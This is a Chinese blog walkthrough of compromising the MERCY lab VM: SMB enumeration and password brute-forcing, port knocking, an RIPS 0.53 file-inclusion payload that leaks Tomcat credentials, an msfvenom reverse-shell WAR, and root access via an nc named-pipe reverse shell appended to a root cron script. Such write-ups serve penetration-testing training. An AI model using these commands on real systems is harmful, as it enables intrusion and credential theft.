digitalworld.local: MERCY靶机入侵

小咪咪 2024-04-07 11:12 171阅读 0赞

0x01 前言

MERCY是一个致力于PWK课程安全的靶机系统。MERCY是一款游戏名称,与易受攻击的靶机名称无关。本次实验是攻击目标靶机获取root权限并读系统目录中的proof.txt信息

靶机的下载地址:

https://drive.google.com/uc?id=1YzsW1lCKjo\_WEr6Pk511DXQBFyMMR14y&export=download(注意确认下载镜像中MERCY.mf的sha256值是否正确)

0x02 信息收集

1.**存活主机扫描**
  1. root@kali2018:~#arp-scan -l

403c4d12ddfc69a6a2cfa03097188f71.jpeg

发现192.168.1.12就是目标靶机系统

2.**端口扫描**

通过NAMP对目标靶机进行端口扫描

  1. root@kali2018:~# nmap -A192.168.1.12
  2. Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-12 09:55 EST
  3. Nmap scan report for 192.168.1.12
  4. Host is up (0.00091s latency).
  5. Not shown: 990 closed ports
  6. PORT STATESERVICE VERSION
  7. 22/tcp filtered ssh
  8. 53/tcp opendomain ISC BIND 9.9.5-3ubuntu0.17 (Ubuntu Linux)
  9. | dns-nsid:
  10. |_ bind.version: 9.9.5-3ubuntu0.17-Ubuntu
  11. 80/tcp filtered http
  12. 110/tcp openpop3?
  13. 139/tcp opennetbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
  14. 143/tcp openimap Dovecot imapd
  15. |_ssl-date: TLS randomness does not represent time
  16. 445/tcp opennetbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
  17. 993/tcp openssl/imap Dovecot imapd
  18. |_imap-capabilities: CAPABILITY
  19. | ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
  20. | Not valid before: 2018-08-24T13:22:55
  21. |_Not valid after: 2028-08-23T13:22:55
  22. |_ssl-date: TLS randomness does not represent time
  23. 995/tcp openssl/pop3s?
  24. | ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
  25. | Not valid before: 2018-08-24T13:22:55
  26. |_Not valid after: 2028-08-23T13:22:55
  27. |_ssl-date: TLS randomness does not represent time
  28. 8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
  29. | http-methods:
  30. |_ Potentially risky methods: PUT DELETE
  31. |_http-open-proxy: Proxy might be redirecting requests
  32. |_http-server-header: Apache-Coyote/1.1
  33. |_http-title: Apache Tomcat
  34. MAC Address: 00:0C:29:91:A0:C6 (VMware)
  35. Device type: general purpose
  36. Running: Linux 3.X|4.X
  37. OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
  38. OS details: Linux 3.2 - 4.9
  39. Network Distance: 1 hop
  40. Service Info: Host: MERCY; OS: Linux; CPE: cpe:/o:linux:linux_kernel
  41. Host script results:
  42. |_clock-skew: mean: -2h39m59s, deviation: 4h37m07s, median: 0s
  43. |_nbstat: NetBIOS name: MERCY, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
  44. | smb-os-discovery:
  45. | OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
  46. | Computer name: mercy
  47. | NetBIOS computer name: MERCY\x00
  48. | Domain name: \x00
  49. | FQDN: mercy
  50. |_ System time: 2019-02-12T22:57:54+08:00
  51. | smb-security-mode:
  52. | account_used: guest
  53. | authentication_level: user
  54. | challenge_response: supported
  55. |_ message_signing: disabled (dangerous, but default)
  56. | smb2-security-mode:
  57. | 2.02:
  58. |_ Message signing enabled but not required
  59. | smb2-time:
  60. | date: 2019-02-12 09:57:54
  61. |_ start_date: N/A
  62. TRACEROUTE
  63. HOP RTT ADDRESS
  64. 1 0.91 ms 192.168.1.12
  65. OS and Service detection performed. Please report any incorrec

发现目标端口445,8080等端口开放.其他如22,80被防火墙阻断.其中samba服务已开启(这是本文重点渗透目标)

0x03**漏洞利用**

无论在任何情况下,我们首先攻击的应用目标是Apache

Tomcat(http://192.168.1.12:8080/)

712f6e9727d5cd2abe3827ca8b2a5cb3.jpeg

尝试访问tomcat后台管理页面,但需要输入正确的用户名和密码方可登陆。尝试输入各种已知的信息但还是无法进入。注意到其用户的配置信息在/etc/tomcat7/tomcat-users.xml中。

1.Samba漏洞攻击

通过smbclient命令列出目标靶机中可用的Samba服务共享名.

  1. root@kali2018:~# smbclient -NL 192.168.1.12

9e60d997fdce47f3904935382a910d0d.jpeg

可从上图中看到共享的几个名称,下面将挂载其共享目录到本地,但还是不允许访问目标共享,这里需身份认证。

  1. root@kali2018:~# mkdir /mnt/file
  2. root@kali2018:~# mount -tcifs 192.168.1.12:/qiu /mnt/file

eb2357962eebe3254a1c0e66eb242df5.jpeg

2.enum4linux枚举Samba账号
  1. root@kali2018:~# enum4linux -U -o 192.168.1.12

5624f32271b2842aae71f419f5b65b1b.jpeg

让我们将枚举出来的账号(qiu和pleadformercy)添加到mercy.txt中,并对其账号进行爆破。

3.samba账号爆破
  1. root@kali2018:~#hydra -L mercy.txt -P/usr/share/wordlists/fasttrack.txt smb://192.168.1.12:139

42ec66294abde69943666260ae0f21bb.jpeg

可发现成功爆破出qiu的账号,密码为空

4.mount命令挂载目录
  1. root@kali2018:~#mount -t cifs//192.168.1.12:/qiu/mnt/file -o username=qiu

7b391cb2163255d2218379ef40e23450.jpeg

列出挂载目录下的文件信息

33f33d671aa66cb4a753d3e53e1e6a92.jpeg

5.private目录信息收集

发现.private目录提供了一些重要系统信息

  1. root@kali2018:~# cd /mnt/file/
  2. root@kali2018:/mnt/file# cd .private
  3. root@kali2018:/mnt/file/.private# ls
  4. opensesame readme.txtsecrets
  5. root@kali2018:/mnt/file/.private# cd opensesame/
  6. root@kali2018:/mnt/file/.private/opensesame# ls
  7. config configprint
  8. root@kali2018:/mnt/file/.private/opensesame# head -30 config
  9. Here are settings for your perusal.
  10. Port Knocking Daemon Configuration
  11. [options]
  12. UseSyslog
  13. [openHTTP]
  14. sequence = 159,27391,4
  15. seq_timeout = 100
  16. command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 80 -j ACCEPT
  17. tcpflags = syn
  18. [closeHTTP]
  19. sequence = 4,27391,159
  20. seq_timeout = 100
  21. command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 80 -j ACCEPT
  22. tcpflags = syn
  23. [openSSH]
  24. sequence = 17301,28504,9999
  25. seq_timeout = 100
  26. command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
  27. tcpflags = syn
  28. [closeSSH]
  29. sequence = 9999,28504,17301
  30. seq_timeout = 100
  31. command = /sbin/iptables -D iNPUT -s %IP% -p tcp --dport 22 -j ACCEPT
  32. tcpflags = syn

906c793d29380ff3044f0bfd8bbc9e3f.jpeg

上面显示了端口启动守护进程的防火墙端口开放的命令配置.

6.打开目标靶机防火墙端口

看到两组sequence,一组用于HTTP,另一组用于SSH。

(1)http的sequence脚本:

kncok.sh

  1. #!/bin/bash
  2. for PORT in 159 27391 4;do nmap -Pn 192.168.1.12 -p $PORT;
  3. done

b990d69e97402ea6f1eed8c5cc4c4d6e.jpeg

(2)SSH的sequence脚本:

kncok1.sh

  1. #!/bin/bash
  2. for PORT in 17301 28504 9999;do nmap -Pn 192.168.1.12 -p $PORT;
  3. done

e66dd431c430ec84f98e3ad573d7f8eb.jpeg

(3**)通过sequence脚本来打开HTTP的端口**

  1. root@kali2018:~# ./knoch.sh
  2. Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-12 12:50 EST
  3. Nmap scan report for 192.168.1.12
  4. Host is up (0.00044s latency).
  5. PORT STATESERVICE
  6. 159/tcp closed nss-routing
  7. MAC Address: 00:0C:29:91:A0:C6 (VMware)
  8. Nmap done: 1 IP address (1 host up) scanned in 0.24 seconds
  9. Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-12 12:50 EST
  10. Nmap scan report for 192.168.1.12
  11. Host is up (0.00053s latency).
  12. PORT STATE SERVICE
  13. 27391/tcp closed unknown
  14. MAC Address: 00:0C:29:91:A0:C6 (VMware)
  15. Nmap done: 1 IP address (1 host up) scanned in 0.23 seconds
  16. Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-12 12:50 EST
  17. Nmap scan report for 192.168.1.12
  18. Host is up (0.00042s latency).
  19. PORT STATESERVICE
  20. 4/tcp closed unknown
  21. MAC Address: 00:0C:29:91:A0:C6 (VMware)
  22. Nmap done: 1 IP address (1 host up) scanned in 0.22 seconds

39bab44ddec1264348f86d512f21eaae.jpeg

(4)通过sequence脚本来打开SSH的端口

  1. root@kali2018:~# ./knoch1.sh
  2. Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-12 12:58 EST
  3. Nmap scan report for 192.168.1.12
  4. Host is up (0.00049s latency).
  5. PORT STATESERVICE
  6. 17301/tcp closed unknown
  7. MAC Address: 00:0C:29:91:A0:C6 (VMware)
  8. Nmap done: 1 IP address (1 host up) scanned in 0.26 seconds
  9. Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-12 12:58 EST
  10. Nmap scan report for 192.168.1.12
  11. Host is up (0.00042s latency).
  12. PORT STATESERVICE
  13. 28504/tcp closed unknown
  14. MAC Address: 00:0C:29:91:A0:C6 (VMware)
  15. Nmap done: 1 IP address (1 host up) scanned in 0.28 seconds
  16. Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-12 12:58 EST
  17. Nmap scan report for 192.168.1.12
  18. Host is up (0.00031s latency).
  19. PORT STATESERVICE
  20. 9999/tcp closed abyss
  21. MAC Address: 00:0C:29:91:A0:C6 (VMware)
  22. Nmap done: 1 IP address (1 host up) scanned in 0.27 seconds

dcbaf5723307144ea6157d5387b00f35.jpeg

通过以上命令开放了80和22端口,现在在kali系统下打开80端口网站。

3e1148b1836ea6a70dff08cf02a7c73a.jpeg

7.目录扫描

通过目录工具dirb对目标靶机系统80端口网站进行扫描,发现存在robots.txt文件

  1. root@kali2018:~# dirb http://192.168.1.12

5e570e6c9b6b840d697127596c7e1b41.jpeg

打开robots.txt的连接地址,发现一个有趣的目录/omercy

653c621ecba2bccaf724fd3200f7b0b9.jpeg

打开该目录网站,可发现RIPS 0.53版本存在

6dd83e8d21d062570f5692cffff0cfde.jpeg

8.RIPS漏洞收集

根据EDB-ID 18660,RIPS 0.53易受本地文件包含(LFI)漏洞影响。(RIPS 0.53 LFI)

在 exploit-db 中搜索RIPS 0.53 漏洞。

https://www.exploit-db.com/exploits/18660

6031550bc6f655859f38971062565ac6.jpeg

其PoC为:

http://localhost/rips/windows/code.php?file=../../../../../../etc/passwd

可以本地文件包含读出目标靶机的/etc/passwd的信息。

aa85f54fe2c7f43f2e1fb74021b5fe58.jpeg

9.tomcat再次入侵

通过rips的lfi漏洞来本地包含tomcat-users.xml读取其配置信息。

http://192.168.1.12/nomercy/windows/code.php?file=./../../../../..//etc/tomcat7/tomcat-users.xml

32c845d689bd02e84ad3f314ca7e4f19.jpeg

此文件泄露了8080端口上运行的tomcat管理后台的用户名和密码信息

  1. <? <user username="thisisasuperduperlonguser" password="heartbreakisinevitable" roles="admin-gui,manager-gui"/>
  2. <? <user username="qiu" password="mercyplz" roles="manager-gui"/>

有了登录凭证,现在可以登录管理器的webapp来部署恶意webapp,这是一个允许反弹shell的WAR文件。

de1bdb841fac5bd54a7339e304df8ade.jpeg

登陆到管理后台:

http://192.168.1.12:8080/manager/html

6320f10f38742f50ca56c10bc331b83e.jpeg

目标靶机系统为32位的ubuntu系统

698f0697b8e7670a30c2644c6cced825.jpeg

我们可以通过msfvenom命令来生成这样的war包

  1. root@kali2018:/opt# msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.21 LPORT=3333 -f war -o shell.war

b219c872a80e6f3497fe585297a0ddda.jpeg

部署webapp后门文件shell.war

15cc240f7fdb805fdd36101828d8042b.jpeg

0b98685b0f6da83bc0b6b43c748f81ff.jpeg

通过7z命令查看war包的内容,可以看到包含了yillzdtgvccxzwp.jsp文件

  1. root@kali2018:/opt# 7z l shell.war

d5c3b03e4886233e2541f56ab31e19ee.jpeg

访问恶意Web应用程序,请在浏览器的地址栏中输入以下内容:

http://192.168.1.12:8080/shell/yillzdtgvccxzwp.jsp

在攻击机上执行nc监听反弹命令并使用python生成交互式的shell:python -c ‘import pty; pty.spawn(“/bin/sh”)’

  1. root@kali2018:/opt# nc -lvvp 3333

4a371345f62a47828568dec5bd0b96af.jpeg

以普通用户权限下查看其falg信息:

  1. tomcat7@MERCY:/$ cat local.txt
  2. cat local.txt
  3. Plz have mercy on me! :-( :-(
  4. tomcat7@MERCY:/$

013ebaea8b0a4a7a7aa3b8477560ab13.jpeg

0x04 权限提升

可以通过从tomcat-users.xml中搜索到登录帐户qiu。在信息收集的同时还发现了将权限提升为root的方法。有一个脚本/home/qiu/.private/secrets/timeclock将每隔三分钟,以root权限运行并写入到目录/var/www/html/time中。

  1. tomcat7@MERCY:/$su qiu
  2. qiu@MERCY:~/.private/secrets$ ls -al/home/qiu/.private/secrets/timeclock
  3. ls -al /home/qiu/.private/secrets/timeclock
  4. -rwxrwxrwx 1 root root 222 Aug 31 00:47 /home/qiu/.private/secrets/timeclock
  5. qiu@MERCY:~/.private/secrets$ cat timeclock
  6. #!/bin/bash
  7. now=$(date)
  8. echo "The system time is: $now." > ../../../../../var/www/html/time
  9. echo "Time check courtesy of LINUX" >> ../../../../../var/www/html/time
  10. chown www-data:www-data ../../../../../var/www/html/time

ddda1dc3df62c1edf61a3b475f55023a.jpeg

将以下命令添加到脚本timclock中,其中NC监听的IP地址为攻击机(kali)的IP地址。

  1. qiu@MERCY:~/.private/secrets$ echo "rm -rf /tmp/p; mknod /tmp/p p; /bin/sh 0</tmp/p | nc 192.168.1.21 5555 1>/tmp/p" >> timeclock
  2. <mp/p | nc 192.168.1.21 5555 1>/tmp/p" >> timeclock
  3. qiu@MERCY:~/.private/secrets$ cat timeclock
  4. cat timeclock
  5. #!/bin/bash
  6. now=$(date)
  7. echo "The system time is: $now." > ../../../../../var/www/html/time
  8. echo "Time check courtesy of LINUX" >> ../../../../../var/www/html/time
  9. chown www-data:www-data ../../../../../var/www/html/time
  10. rm -rf /tmp/p; mknod /tmp/p p; /bin/sh 0</tmp/p | nc 192.168.1.21 5555 1>/tmp/p

设置另一个nc监听,监听端口为5555,3分钟后将反弹到目标root shell.并在攻击机上执行nc监听反弹命令并使用python生成交互式的shell:python -c ‘import pty; pty.spawn(“/bin/sh”)’

  1. root@kali2018:/mnt/file/.private/opensesame# nc -lvvp 5555
  2. listening on [any] 5555 ...
  3. 192.168.1.12: inverse host lookup failed: Unknown host
  4. connect to [192.168.1.21] from (UNKNOWN) [192.168.1.12] 39346
  5. python -c "import pty;pty.spawn('/bin/bash')"

ea62ede903ab222d4a5e86f98c342f6b.jpeg

0x05 flag**信息查看**

进入到root目录然后查看proof.txt得到flag信息

r

  1. oot@MERCY:~# cd /root
  2. cd /root
  3. root@MERCY:~# ls
  4. ls
  5. author-secret.txt configproof.txt
  6. root@MERCY:~# cat proof.txt
  7. cat proof.txt
  8. Congratulations on rooting MERCY. :-)
  9. root@MERCY:~#

a1144527bb760f98e666918f71172dc1.jpeg

发表评论

表情:
评论列表 (有 0 条评论,171人围观)

还没有评论,来说两句吧...

相关阅读

    相关 Raven: 2靶机入侵

    0x00 前言 Raven 2是一个中等难度的boot2root 虚拟靶机。有四个flag需要找出。在多次被攻破后,Raven Security采取了额外措施来增强他们的